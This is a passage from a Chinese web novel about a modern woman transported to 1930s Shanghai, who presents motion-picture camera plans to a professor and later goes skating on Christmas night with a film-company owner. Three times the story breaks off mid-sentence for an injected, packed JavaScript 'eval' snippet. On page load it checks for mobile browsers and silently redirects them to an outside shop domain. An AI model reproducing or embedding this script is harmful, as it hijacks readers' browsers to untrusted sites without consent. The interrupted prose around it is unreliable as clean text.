她或许会说:"真巧,陆先生,你也路过这边。" 那他就能说:“不巧。周小姐,圣诞老人是特意来给你送礼物的。” 可直到车子在她公馆前停稳,楼上那扇窗依旧漆黑一片,他才从这场自导自演的戏里清醒过来。 已经很晚了,她到底在和谁度过这个平安夜? 引擎低鸣着,在冬夜里吐出白气。他静静坐了片刻,终于调转车头,载着那一车厢舞鞋,驶回了自己的公馆。 周弥从外头回来时,夜色已深。 她自然不知道陆世铮昨夜来过,还在楼下停了许久。只是梳洗时望着镜中的自己时,忽然想起他。 想起他不是因为别的,而是因为他答应帮自己引荐林秀山。按照社交礼仪来讲,于情于理,都该请他吃顿饭表示谢意,再加上自己又拒绝了他今晚的邀约,那就应该在与林秀山正式见面前,主动邀请陆世铮吃顿饭。 她拿起话筒,又瞥了眼座钟,感觉时间实在是有点晚了,于是等到次日午后,才往华光公司去了电话。 接线员转接了几次,听筒里终于传来陆世铮的声音。 “陆先生,是我。”她顿了顿,“你今天晚上有空么?我想请你吃个饭。” 在专业以外的人情世故上,周弥算不得圆熟。她只以为“请吃饭”便是字面意思,并没有多作解释,全然未曾想到一个未说明缘由的邀约,在听者耳中可作千万种解读。 譬如陆世铮,此刻以为她是为林秀山教授的事心急,所以主动打电话过来问询。 “好…林教授夫妇今晚也有空。不如我订好餐厅,再告诉你地址?” 周弥虽对图纸的事相当急切,但原本并没报着这个想法,现在一听他说林教授夫妇能同来,一激动便立刻应下:“那太好了!多谢你!” 陆世铮笑道:"没什么,不是什么了不得的事,何必谢。" 周弥得意地说:"了得还是了不得,你到时候就知道。" … 红房子西餐厅的包厢,藏在二楼转角最深处。 这家西餐厅的壁灯是奶白色的玻璃罩,光线暖融融地洒下来,照得雕花墙纸上的葡萄藤蔓影子深深浅浅。周弥推门进去时,陆世铮正侧身与林教授说话。 陆世铮今日穿了深灰色西装,领带是极暗的墨绿,在灯下几乎看不出颜色,只衬得侧脸线条比平日更显清峻。 听见门响,他转过身来,眼里的笑意完全展开,他起身,手势自然地引向桌对面,“这位是林秀山教授,你见过的,这位是金曼丽女士,林教授的太太。” 周弥真没想到,原来林教授的那位喜爱电影的太太就是金曼丽,她刚要开口,金曼丽已经抢先笑道:"这你们不知道了吧,我们也是见过的。" 于是把周弥怎么在川菜馆里舌辩群儒的故事向大家一讲,直听得林秀山"哎哟"一声,赞不绝口。 林秀山也不甘示弱,又把周弥那天在舞会的表现和金曼丽讲,听到自己留下的翻译任务原来是周弥完成的,金曼丽也是"哎哟"一声。 这两人"哎哟"来"哎哟"去,陆世铮却只管看着周弥微笑。 周弥面上自然也是笑,心里却是笑不太出来。 陆世铮既然已经知道她和众一的人吃过饭,但凡脑子不傻,都会想到她和众一可能有牵扯。她刚要进华光,脚跟还没站稳,就要被怀疑上两面三刀,往后还怎么周旋? 可陆世铮真就像个不谙世事的傻子。他什么也没问,什么也没提,只是那样看着她笑,眼底干干净净的,除了温和的笑意,什么别的情绪也没有。 反倒让周弥更不安了。 是当真不知情?还是……知道了,却不在意? 前者,不可能,他不傻。 后者,为什么呢? 她垂下眼,端起侍者刚斟的茶。碧绿的茶汤在瓷杯里微微晃动,映出天花板上琉璃灯碎碎的光。 这么一走神的功夫,话题不知怎么的已经转到了电影宣传上。 金曼丽笑道:“今早看报,说众一昨天在南京路搞什么‘盲盒’,为了抢隐藏款,排队的人都打起来了!现在的小年轻,可真会玩。” 陆世铮执杯的手先是微微一顿,随即从容笑道:“我也听说了。众一近来动作频频,又是盲盒又是影迷会,看来是铆足了劲要在贺岁档出头。” 他略作停顿,目光似有若无地掠过周弥,“也不知道众一怎么回事,突然就补上了营销方面的短板。不过市场竞争嘛,各施所能,我们华光也有我们的底牌。” 说到这,冲周弥微微一笑。 周弥摸不透他的意思,不肯接他这茬,赶紧把眼睛转向金曼丽,换了个话题:“曼丽姐这对耳环真好看,哪里寻来的?” 金曼丽今日穿了件藕荷色绣银梅的软缎旗袍,耳垂上两颗南洋珠温润生光。听周弥夸赞,她眼波流转,声音里带了亲昵的娇嗔:“那我可不知道,是他送我的圣诞礼物。”说着,含笑瞥了林秀山一眼。 林秀山推了推眼镜,赧然道:“说来惭愧,虽是我去挑的,用的却是太太的钱。她太能挣,我实在比不来。” 一席话说得众人都笑起来。 周弥上次见金曼丽时,她是老板的身份,做事雷厉风行,现在见她,却很有在丈夫面前小女人撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068351|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇的样子。而她的丈夫也并不大男子主义,看起来心中很崇拜她的妻子。确实是很般配的一对。 又听陆世铮此时捧场:"二位感情真是好。不管是男人还是女人,可以在自己想发光的地方自在地发光,另一半会认同;在想示弱的时候自在地示弱,另一半不会轻视,这就是非常好的感情状态。真是令人羡慕,也给我们两个还单身的做了个好示范。"说到这,往周弥这边望了一眼。 周弥心中想,你说就你说,点我干什么呢?我心里可没有任何羡慕的想法。然而还是跟着大肆捧场:"是啊,你们二位真是太幸福了。" 此时,侍者已经渐次布上前菜:冷切的伊比利亚火腿配蜜瓜、淋了初榨橄榄油的嫩芦笋、还有一小碟鱼子酱配烤得焦脆的薄饼。 陆世铮示意开酒,侍者斟上法国波尔多的红葡萄酒,深石榴色的液体在水晶杯里轻轻晃动,漾开一层层暖光。 金曼丽喝了一杯,忽然笑问:“说起来,昨夜平安夜,二位是怎么过的?” 周弥与陆世铮俱是一怔,几乎同时开口:“啊,这个……”两人目光在空中短暂一碰,又各自移开。 确实都不太方便实话实说。 金曼丽做惯了老板,是很擅长察言观色的,立刻猜到昨夜二人各有不便言说的安排,便轻巧转开话题: “我和秀山可是去看了场电影…对了,华光的新片什么时候能上?我先做个说明哦!我可是个贪心的影迷,华光的也看,众一的也看,瑞星的也看,好莱坞的也看,总之,谁拍得好我就看谁的,可不站队哦。” 她朝陆世铮眨眨眼,“所以陆老板跟我说话可得斟酌,什么能拿来宣传,什么得藏着掖着,您心里得有数。” 众人又是一阵笑。 陆世铮顺势聊起华光正在筹备的新片,从布景风格说到服装考据。气氛越来越活络,侍者撤下前菜,端上了主菜。 煎得恰到好处的小羊排配薄荷酱,热气混着香气在桌间氤氲。 吃完这一轮,周弥觉得时机差不多了。她放下刀叉,从座椅旁拿起那只棕色的牛皮公文包。 “林教授,”她将一叠图纸取出,铺在餐桌边缘的空处,“有样东西,想请您看看。” 说着,她将图纸在桌面上缓缓铺开。 第一眼,林秀山“咦”了一声。 第二眼,他猛地站起身,椅子腿在地板上刮出刺耳的声响。 “这……这是…” 图纸铺满了半张桌面。墨线极细,全部都是手绘,却清晰如刻,密密麻麻标注着德文与英文术语。 最上方是整体结构剖面图,下方分解出传动系统、光学模块、电源组件……每一处都有详尽的尺寸标注与材料说明。 林秀山的眼镜几乎贴到纸面上。他左手按住图纸边缘,右手食指悬空,顺着一条线路慢慢移动,嘴唇无声地翕动,像在默念什么公式。 “秀山。”金曼丽轻声叫他。 他没应。整个人像被钉在了图纸前。 26. 圣诞冰场(一) 陆世铮走到林秀山身侧,俯身细看,他对机械改造虽不是专家,但能看出这是一张摄影机的的设计图,而且与现今通用的手摇摄影机大不相同。 这张图上的机身更紧凑,多了许多从未见过的部件,最显眼的是右侧那个标着“Stromverung”(电源供应)的方块。 "了不起,太了不起了。"林秀山很兴奋地指着图纸给大家介绍:“这是要现在的摄影机改头换面啊!" 金曼丽冲他手臂锤了一下:"怎么改头换面?你赶紧讲讲,别卖关子。" 林秀山的声音因激动而微微发颤,他扶了扶眼镜: “现今我们用的摄影机,原理其实和三十多年前的那台,也就是最开始发明出来的那台没什么两样。” 他的手指点向图纸左侧的传统结构示意图:“依靠手摇柄带动齿轮,齿轮驱动胶片齿轮,可人手终究不是机器啊!” 林秀山的声音高了起来,他举起手,做了个波浪的造型,"人手的力道有轻重,速度有快慢,呼吸一起一伏,手腕微微一颤——所有这些细微的不稳定,传到胶片上就成了画面的抖动。” 周弥接话道:“是的,晴天光线足、胶片感光度高时还好些,一旦进光量不足需要放慢转速,或是摄影师疲劳手酸……” 金曼丽忍不住打岔:“何止细微的抖动!我看那些小公司拍的片子,根本就是地动山摇,闪得人眼晕头疼。即便像华光、众一这样的大公司,也只能勉强把抖动控制在细微的程度。可再细微,它也是抖啊!所以现在很多老年人看不了电影,老年人本就眼睛不好,你再拉她去电影院,那可真是很大的仇了。” 陆世铮失笑,坦然承认:“金女士批评得是。这确实是行业通病,无人能免。主要还是技术限制,现在在国外,已经解决了画面抖动的问题。" 林秀山已迫不及待地将手指滑向图纸右侧全新的设计:“但这份图纸,彻底改变了驱动方式。” 图纸上新结构的核心是一个拳头大小的金属匣子,标注着“直流电机”。 “这里,”林秀山的声音又高了起来,“改用电机驱动。六伏特直流电,通过这个稳压模块——”他指向旁边一个复杂的电路图,“这样就能输出绝对稳定的转速。" 听到这里,陆世铮很有些激动:"那是不是能够提高帧数呢?能不能提高到现在国际通用的每秒二十四帧水平?" 林秀山一怔,挠了挠头,有点不好意思地问道:"怎么样叫每秒二十四帧?真抱歉,我对电影实在了解浅显。" 这一问,倒像按到周弥的开关了,这个教科书上最基本的名词解释可真是让人张口就来的程度: "简单来说,每一秒的影片画面,是由二十四张连续的静态图像快速播放组成的。人眼的视觉暂留效应会把静态衔接成流畅的动态,这是电影的核心技术原理,也是长期沿用的行业标准。" 在场几个人都怔住了。 林秀山心里想:啥叫视觉暂留? 陆世铮心里想:长期?这不是前两年有声电影出现刚研发出来的新技术么? 金曼丽心里想:秀山真丢人!不会连视觉暂留是什么意思都不知道吧?真是白熏陶他了。 最后只有林秀山推了推眼镜,问了出来:"那么…什么叫视觉暂留?真抱歉,我对电影实在了解浅显。" 金曼丽一拍他胳膊:"你没玩过走马灯么?" "那还是玩过的。" "走马灯都是静态的画面,为什么一转动,就能连接成一个奔跑的动作呢?" 林秀山毕竟是大学教授,这么一举例,马上就领悟了:"哦!我明白了!就是说,一个画面消失后,它还在人眼里留个影儿,停留一小会儿。前一个影儿还没消,后一个画面又来了,这时候我们的大脑就会把它们连起来,权当成是动起来了!对吧? 周弥点头道:"是的,这就是电影能成立的生理基础。脑补是关键。" "脑补?"大家很疑惑。 "…大脑补充。" "嗯!很形象的词语!"林秀山举起拇指赞美,又问道:"那也就是说,这每秒钟的帧数越多,画面就越流畅啦。" 周弥得意道:"理论上是这样,不过按照边际效用递减的原则,我想,二十四帧,应该可以保持一百年不用再变更了。" 林秀山笑了一笑,做了论断:"多谢各位老师指教了,各行各业,实在是博大精深。那么,我敢告诉你们,这个机器,肯定是可以达到每秒二十四帧的!” 每秒二十四帧! 陆世铮听到这句话,实在激动极了。 每秒二十四帧意味着可以在同一个镜头里,实现慢动作到快动作的无缝过渡。 意味着再也不用担心因为手摇不稳而废掉整卷胶片。 意味着突破了国外的技术封锁,追上了国际最领先的水平。 这是在太让人震惊,也太让人兴奋了。周弥到底是怎么设计得出这些的?电影方面,真的有她不懂的知识么? 林秀山忽然猛地一拍大腿:“电源呢?这上面标的是直流六伏特,可现今市面上根本没有这么小巧的便携电池!” “有的。”周弥从容道,“美国贝尔实验室去年已研发出镍镉蓄电池,体积只有香烟盒大小,容量足够支撑半小时拍摄。虽然尚未商用,但通过一些渠道应该可以搞到。您先改造其他部分,我拿到电池…或者说是电池的制作方法,我们再对接一下。” 她心下早已经盘算好,回去要多敲打敲打那座钟,让它多多掉装备。所谓钟不啄,不成器,既然能吐出摄影机图纸,想必电池技术也该在“金手指”的供货范围内。 自己动手,丰衣足食,虽然她对技术完全不通,但做个献和氏璧的卞和一定没问题。 林秀山"哦"了一声,随即推了推眼镜,问题终究还是来了:“不过周小姐……这份图纸,你究竟是从何处得来的?” 周弥面不改色,还是之前忽悠陆世铮的那套说辞:“我师父寄来的。” “师父?”林秀山一怔。 “他在国外,性子有些古怪,不太愿意让人知道他的名字。”周弥拿餐巾纸擦了一下手,很自然地笑了笑,“实在抱歉。” 一位隐居海外的技术高人,脾性孤僻,只与有缘的弟子联络。在崇尚“师承”“秘传”的民国语境里,其实很令人信服。 果然,林秀山眉毛往上耸了耸,露出了然的神情,又还带了几分敬畏:“原来如此……能设计出这样的图纸,尊师一定是位了不起的人物。” 周弥哈哈一笑,并不否认。 她现在于撒谎一道,越发驾轻就熟了。 说来也怪,从前她是个再老实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078543|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过的人,其实细想来,那时的“老实”,不过是因为没什么能撬动的资源,既然没有值得冒险的利益,自然犯不上为一句谎话背上心理负担。 可如今不一样了。 她还是会因撒谎而有羞耻感,但这点羞耻,已经算不了什么。 左右不过是空手套白狼嘛。 侍者此时又进来奉上甜品,但四人都沉浸在研究图纸的兴奋中,甜品也没有吃,侍者在旁边瞧着,心里很是开心,客人不吃,自然最后是落在侍者嘴里。于是一屋子人,真是各乐各的,其乐融融了。 从红房子西餐厅出来时,已近十点。 夜风带着黄浦江的冷湿气流吹过来,金曼丽挽紧林秀山的胳膊,回头笑道:“周小姐,改日一定要来我家里坐坐。我那儿有好些电影杂志,你一定喜欢。” 周弥笑着应下,又和林秀山说了几句改造摄影机的事,约好之后碰头的日子,又交换了联系方式。 看着林家夫妇上了车,陆世铮转身对周弥道:“我送你回去。” 车子驶出红房子的拱门,融入平安夜后的上海街巷。霓虹渐稀,路灯在湿漉漉的街面上投下昏黄的光晕。行人也少了,只有零星的黄包车夫跺着脚等生意。 开到四川路口时,一个瘦小的身影突然从巷子里钻出来,挥舞着手臂。 “先生!小姐!买份报吧!租界公园开真冰场啦!圣诞特别开放!” 是个十来岁的报童,穿着补丁摞补丁的棉袄,脸和手冻得通红,像刚在冷水里浸过。他手里攥着最后几份《申报》,油墨在路灯下泛着新印的光泽。 陆世铮摇下车窗。报童的脸立马挤住了车窗空隙,冻得发皴的鼻尖几乎要碰到玻璃,手中摇着报纸: “先生买张报吧!顾家宅公园开真冰场啦!圣诞特别开放!带小姐去玩玩吧!可好玩了!” 油墨味混着孩子身上的寒气飘进来。陆世铮笑道:“报纸都是早上买的,搁到夜里,新闻早不新了,还能卖出去么?” 报童叹口气,那叹气声老气横秋的,与那张稚嫩的脸很不相称。他并不解话茬,只热情地把报纸又往前递了递:“先生买张报吧!” 陆世铮不再多说,打开皮夹,从里面抽出几张钞票,对报童道:“我都要了,快回家吧,夜里凉。” 报童攥着钞票愣了两秒,忽然咧嘴笑了,缺了门牙的豁口在路灯下特别明显。 "谢谢英俊的先生!谢谢美丽的小姐!先生小姐好登对,好人有好报!圣诞节快乐!" 说完他转身就跑,破棉鞋在石板路上啪嗒啪嗒响,像只终于归巢的雀儿。 陆世铮只是看这报童可怜,并没打着什么别的主意,但这报童一说他们两个登对,心里不禁有些暗喜,从车内后视镜里看周弥的反应。 但周弥只是自顾自拿着报纸翻看,并没有什么别的表示,只是很认同地说了一句:“陆先生确实是好人。” 说到这,抬起头冲他一笑,却见陆世铮的眼睛正望着后视镜。 他看得那样专注,那样出神,连后面汽车接连响起的喇叭声都像没听见。 难道后视镜里看不到后面的车吗?周弥好奇地,也将目光投向后视镜。 两双很漂亮的眼睛,一双沉稳如墨玉凝潭,一双明澈若秋水横波,就在那面小小的、略带弧度的镜子里,猝不及防地相遇了。 27. 圣诞冰场(二) 陆世铮正恍惚间,忽听身后传来急促的喇叭声。他一扭头回看,下巴正好蹭过周弥凑近的额角。 温热的肌肤一触即分,陆世铮心头一跳,连忙看向周弥:"哎呀,真对不起,撞坏了没有?” 周弥抬手抚摸了一下额角,笑道:“照陆先生这样说,我是纸糊的了,这么蹭一下,就能撞坏了。”说罢,伸出一根手指,不是指向车后,而是指向那面后视镜。 一辆黑色汽车正闪着白亮刺眼的车灯,喇叭急躁地响着。 "后面在催你呢,响了好几遍。" 陆世铮"嗯"了一声,发动了车子。他面上虽然不显,但心中砰砰乱跳,回想自己刚才有没有做什么失态的表情,却什么也想不起来了,只得清了清嗓子,接上已经过去很久的话头: “只是一点举手之劳,哪里称得上好人不好人的呢。我是看到那孩子,就想起前几年非常流行的一篇童话,或许周小姐也是看过的,叫做《卖火柴的小女孩》。那个故事实在让我很震撼,我也是因为这个故事,开始想做电影的。” 车子驶过苏州河桥。河水在夜色里黑沉沉地流淌,倒映着两岸零星的灯火。 “那时我想,一个故事竟能让人看见原本看不见的痛苦,能让人为一根火柴的熄灭而心碎,这力量太惊人了。或许这个故事,当我们这代人去世后,还能被很多人看到,感染一代又一代人,所以故事的力量实在是很大的。" "所以我非常佩服能创作出故事的人。他们手里没有枪炮,却能改变很多人的思想,改变人们看世界的方式。可惜我没有写作的天分,也没有拍电影的天分。家里世代经商,自觉还有些家族经验和经商的天分,所以我想,开家电影公司也不错,培养一批这样的人才,让专业的人做专业的事,而我呢,就给他们打造一方能自由生长的土壤。” 周弥很为这种理想主义触动。她接触这一行的目的是非常实际的。 最开始,她和很多小有姿色的女孩一样,都梦想进入表演系。候考的时候她大吃一惊,她在素人里还算漂亮的脸蛋,在一群娇艳欲滴的艺考生中不再显得出挑,这让她坐立不安。 面试当然是失败了。老师们认为她演技不过关,外形也没有美到可以只靠脸吃饭的程度。 有个老师随口一句:"我看你提交的报名信息中,文化课成绩还不错,很适合学习电影史论相关的专业。" 周弥正处在自尊心非常受挫的情境下,听老师这么一说,想着反正都在电影学院学电影,学什么不一样,再说,如果学史论,自己没准还可以继续做班花呢。如果学表演,自己就非常普通了。 就为了这点幼稚的想法,她进了全学校最坑的天坑专业。就业率差到没边,就业路径是本科毕业读硕士,硕士毕业读博士,博士毕业在学校当老师,纯纯内循环! 更让她无语的是,她们这届只招到了两名学生,就是她和她的室友。如果不是她们两个进来挽救了老师们的岗位,有几个职称比较低的老师可能会被面临调岗。 比如面试时提出此建议的老师的老婆… 当然,这些都是后来才知道的。 唉,周弥真想知道,为什么人生很多重大目标,都是在头脑未发育好之前就做出决定呢? 膝盖上的报纸抖了抖,是陆世铮的手指按住了报纸登的广告: "今天是圣诞节,周小姐晚间有没有事?如果没事,想不想去冰场玩呢?租界公园今年难得浇了真冰场。上海这天气,暖的时候多,冷的时候少,有时一整年也未必能开上一次。如果不去,真的有点可惜。” 她拿起报纸仔细看他指的位置,醒目的黑体印着:“冬日奇景:沪上真冰滑场圣诞开放”。 底下的小字是这么写的: 连日寒潮席卷申城,租界工部局趁势于顾家宅公园内浇造之真冰滑场,已于昨日(十二月二十四日)傍晚正式对外开放。 据悉,此冰场去岁原拟圣诞开放,然因申城冬日气温反复,冰层浇至三寸即因连日回暖融化,工程被迫中止。今岁天公作美,自十二月中旬起气温持续偏低,工部局遂再度启动浇冰工程。 冰场管理方告示,开放期视天气而定,若气温持续低于零度,可维持至元旦后;一旦回暖,则随时可能关闭。故欲体验者须把握时机。 底下还有条编者按: 沪上冬日素以湿冷闻名,然真冰之景确属罕见。此冰场之成,既见工部局市政之巧思,亦折射沪人生活日渐多元。昔日的“洋泾浜看冰戏”今已成真,或许不久的将来,冰上运动亦将如网球、游泳般,成为海上新风尚。 左上角配了幅冰场的黑白照片,同版右下角还插了条广告:“大美华绸缎庄圣诞促销——滑冰后不妨定制一件厚呢大衣”。 周弥心想民国报纸倒挺有意思,原来这时的商家,早深谙场景营销的智慧了。 陆世铮见她只顾低头看报,嘴角噙笑,便问:“怎样?” 周弥本就擅长滑冰,虽然最近事务繁多,但想到今日是圣诞,合该让自己喘口气,便应了好,目光继续往下扫,又瞥见一条短讯: 据悉,众一公司新片《楚月关山》未映先热。昨日南京路宣传摊位发生“盲盒抢购风波”,市民为抽取隐藏款纸偶排队长达三小时。有同业人士私下评论:“众一此番动作频频,贺岁档恐生变数。” 陆世铮看着她,笑道:“这么爱读报?这一摞我都送你好了。” 周弥抬眼,很调皮地一笑:“好呀,那多谢你的圣诞礼物。只是我可没给你准备什么,可别见怪。” 看她又是这种很俏皮的样子,陆世铮忍不住摇头微笑。 车子缓缓穿过租界,进入公园。梧桐枯枝间悬着的圣诞彩灯在车窗上投下流动的光斑,像一场流动的星雨。 陆世铮笑道:“我小时候在天津小住过一段。冬日海河封冻,我常偷偷跑去滑冰。每次被家里发现,总要挨一顿好打,说是危险。后来去美国念书,学校后头的湖一到冬天就冻得结实,同学们都去滑。可我倒一次也没去过。是不是很怪?没人管着了,自己倒不想做了。” 周弥正要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085580|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么,穿制服的泊车小弟已小跑着迎上来。 陆世铮将钥匙递过去,又从皮夹里抽出张钞票做小费,那小弟眼睛一亮,连连躬身:“谢谢先生!谢谢小姐!玩得开心!” 推门下车,冬夜的空气清冽,眼前是两扇敞开的铸铁大门,门楣上挂着牌匾,写着五个方正的大字:顾家宅公园。 周弥曾经是来过的,它在周弥那个年代,叫做复兴公园。 复兴公园没有围墙,只有低矮的绿化带随意划分着空间。晨练的老人拎着收音机放大悲咒,外卖骑手躲在树荫下啃包子,江风里惯常裹着咖啡香、香水味和地铁口飘来的油炸食品气息。她喜欢坐在亲水平台的台阶上,看对岸陆家嘴的玻璃幕墙将云朵切成几何图形。 而此刻的顾家宅公园是1930年法租界精心培育的盆景。 铸铁雕花大门沉重而矜持,门内那条悬铃木大道修剪得过分整齐,枝桠在冬日天空里勾勒出哥特式教堂般的棱线,喷泉池中央那尊大理石希腊女神像举着水瓶,裙褶里积了薄薄的冰。 周弥曾经坐在复兴公园的长椅上,刷到一篇“民国租界公园冰场老照片”的推文。照片里人影模糊,配文写着:“想象不到吧?那时候就有真冰场了。” 如今她就在这照片里。 冰场在公园的西北角,原是一处网球场浇成的。场边立着煤气灯,玻璃罩擦得锃亮,火苗在里头稳稳地烧,将冰面映成一块巨大的、冒着寒气的乳白色玉石,方圆几十丈亮如白昼。 煤气灯光晕之外,人影憧憧,人还没走近,已听见欢笑声夹杂着冰刀刮过冰面特有的“唰唰”声。 场上已有近百人在滑行,既有洋人面孔,也有一些打扮入时的华人青年。 有个戴红绒线帽的洋人小男孩摔了个屁股墩儿,不但不哭,反而咯咯笑着,被父亲一把拎起来,转个圈又放下。几个穿棉袍的学生模样的青年,彼此搀扶着滑得歪歪扭扭,笑闹声能传出半条街。 租冰鞋的小木屋就在冰场旁边,里面生了铁皮炉子,推门进去暖意扑面。 守摊的是个白俄老头,花白胡子缠结成绺,见他们进来便咧嘴笑,露出镶金的门牙,用生硬的中文招呼:“两位,滑冰?” 周弥点点头,目光扫过墙上挂着的几排冰鞋。 那冰鞋和她熟悉的现代款式完全不同:全是笨重的黑色高帮皮鞋样式,鞋面是厚实的油鞣革,缝线粗大结实。最显眼的是鞋底,不是如今轻便的合成材料,而是木质鞋底上用两排黄铜铆钉死死固定着冰刀,看起来十分沉重,后跟处带一小截锯齿,想必是为了急停时抓冰用的。 老头手往墙上一指,嘴里念叨着:“试试,试试。” 陆世铮扫了一眼,对老头道:“给我拿一双七号的。”说完转向周弥,语气再自然不过:“周小姐呢?平时穿什么尺码?” “三十七。”周弥脱口而出。 哎?坏了,这年代的鞋码是不是和自己那个时候不一样啊,刚才陆世铮说什么七号,自己张嘴来一句三十七,那岂不是大象穿的了? 28. 圣诞冰场(三) 陆世铮道:“周小姐,他问的是英码。你说的三十七是法码吧?”他比了比自己的手掌,“那约莫是英码四号半。” 老头闻言,嘟囔了句俄语,转身从架子上取下一双鞋:“这个,你试试。” 尺码确实合适。 陆世铮付过钱,老头指了指旁边一扇刷着绿漆的小门,示意从这里可以直接通往冰场,不必再绕到外头。 通往冰面的是一段缓坡,虽撒了木屑,仍有些滑。陆世铮很自然地伸出手臂,周弥也没推辞,扶着他的小臂,两人并肩慢慢往下走。 有那么一刻,两人挨得很近。周弥的鼻尖几乎要擦过陆世铮大衣的翻领,一股极其干净、干燥而温暖的气息,混合着冬日室外的冷冽,毫无预兆地钻了进来。 她忽然就明白了,为什么那些霸总小说里,总爱用“淡淡的烟草香”来渲染气氛。 原来雪茄的余韵,与寻常香烟的烟臭,真有天壤之别。这不是燃烧后的灰烬味,更像是上好的陈年雪松木被阳光烘烤后,析出的那层沉稳而清冽的木质香,还夹杂着一丝极淡的烤坚果的尾调。 从前每次读到这种文字,周弥都要吐槽:烟草香?烟都臭的要死。 唉,原来是贫穷限制了想象。 “怎么了?”陆世铮敏锐地察觉到了她瞬间的走神,微微侧头,声音从很近的上方传来,“我身上……有什么怪味吗?” 呃。周弥耳根一热。自己那点偷偷深嗅的小动作,被发现了? “没有,没有……”她下意识地否认,话一出口就觉得此地无银三百两。不如索性大方一点,便抬起眼,装作刚刚辨认出来的样子:“你抽雪茄?” "偶尔会。周小姐闻不了这种味道么,那我以后不碰了。" 哎?倒也没有这个意思… "没有没有,你喜欢就好,不用顾虑我喜欢不喜欢。"她说。 此时已经踏上冰面,陆世铮松开搀扶她的手,笑道:"不顾虑周小姐感受的事,我恐怕做不到。" 周弥望着他,觉得他很有反差萌,明明是叱咤风云的商业人物,长得也高大英挺,说这话的时候却一副乖巧的模样。她并非迟钝,能察觉到那平静表象下涌动的、属于男女之意的暗流。不过,她不希望他更进一步地说出来。 于是她把话题茬开:"比比看?"话音未落,人已如离弦之箭滑了出去。 两人一前一后,在冰面上划出两道白痕。直到周弥滑到护栏边停下,呵出一团白雾,挑眉望他:“如何?” 陆世铮滑到她身侧,背倚着冰凉护栏,眼中赞叹不掩:“没想到,你滑得这样好。你怎么做什么都做的这样好?” 周弥笑道:"那说明你还不了解我,不了解一个人的时候,才容易对这个人有滤镜。" "滤镜?" "一种文学比喻,你可以理解为不切实际的幻想,为这个人增光添彩的。" “是这样么?”陆世铮认真思考了片刻,"可是我…" 话未说完,一个女性的声音突然脆生生插了进来: “陆先生!真是您!” 周弥转头看去,说话的是个穿狐裘大衣的年轻女人,妆容淡得近乎没有,却唇红齿白,骨相里透出旧式美人的韵致,只是眼下淡淡一圈青,眉眼间也缺了神采。 “林小姐。”陆世铮点了点头,随即侧身做了个引见的手势,“这位是林青秋林女士,从前演过不少电影。这位是周弥周小姐,归国华侨,如今在华光任高级顾问。” 林青秋,周弥学过这个人。 民国影坛“玉女掌门人”,专演不谙世事的清纯少女,开创了某种“天真系”表演风格。后来事业巅峰期突然选择嫁人,相夫教子,早早息影。教科书上写的是:“开风气之先,然过早退隐,殊为可惜。” 周弥想起文献上那张黑白剧照,林青秋穿着白旗袍,坐在秋千上笑,眼里有星星,而眼前这个女人,不过二十八九岁,眼里却只剩倦青。 林青秋冲周弥笑笑,算打过招呼,然后往前凑了半步,声音放软了些:“陆先生,好久不见,听说华光最近在为新片选角,我前些日子去递了资料,不知您瞧见没有?” 陆世铮道:“公司选角的事,一向是导演和制片部在管。” “我知道。”林青秋顿了顿,抬眼看他,“只是……陆先生,我们以前是合作过的。我想您对我的演技,应该还是满意的。” 她咬了咬下唇,那抹淡红的唇膏被咬出一小道白痕: “老实讲,我生了孩子回来之后,工作就不太好接。找上门的,都是母亲的角色,戏份也实在少得可怜。陆先生,您看您这边……方不方便给我个机会?让我试试华光的新片?我不要求女主角,女二号、三号……都可以的。” 话说得克制,可那双曾经在银幕上流转过无数种天真的眼睛,此刻却盛着明明白白的恳求,与不甘。 老师在课堂上讲解这位影星的韵事时,周弥还在下面和室友低声讨论过这件事。 周弥:"玉女掌门人二十多岁三年抱俩!好小众的词汇。她最后那部电影拍完爆火,都快赶上阮玲玉了!结果好好的事业说不要就不要,粉丝说抛弃就抛弃。好癫。" 室友:"呃,虽然但是…那个年代避孕措施没有现在好,思想也没有现代开放,如果谈恋爱已经怀上了,那选择婚育也正常吧,不过我也不理解,干嘛生完就隐退呢,一个女人只想依附男人,倒霉是早晚的事,难怪四十多就郁郁而终了。" 原来她曾这样努力地争取过机会,而后世却只用回归家庭隐退息影,寥寥数笔地总结她的事业。她根本不是自愿隐退的! “不好意思林小姐。”陆世铮的声音官方的令人心寒,“选角的事,我确实不便插手。我不希望自己在公司里,成为一个不尊重艺术创作规律的老板。您既然投了简历,不妨静待消息。导演组会有专业判断。” 